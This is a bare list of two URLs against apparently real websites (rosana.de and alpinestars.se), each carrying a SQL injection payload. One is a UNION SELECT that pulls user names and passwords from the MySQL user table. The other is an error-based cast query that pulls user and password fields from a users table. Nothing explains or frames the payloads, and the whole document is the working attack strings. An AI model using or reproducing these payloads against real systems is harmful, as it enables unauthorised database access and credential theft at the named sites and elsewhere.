http://www.rosana.de/main.asp?main=-1'+union+select+1,concat_ws(0x3a,user,password),3,4,5,6+from+mysql.user/*

http://www.alpinestars.se/MainVisaUnderBild.asp?nid=1+or+1=(SELECT+TOP+1+cast(user+as+nvarchar)%2Bchar(58)%2Bcast(pwd+as+nvarchar)+FROM+users)--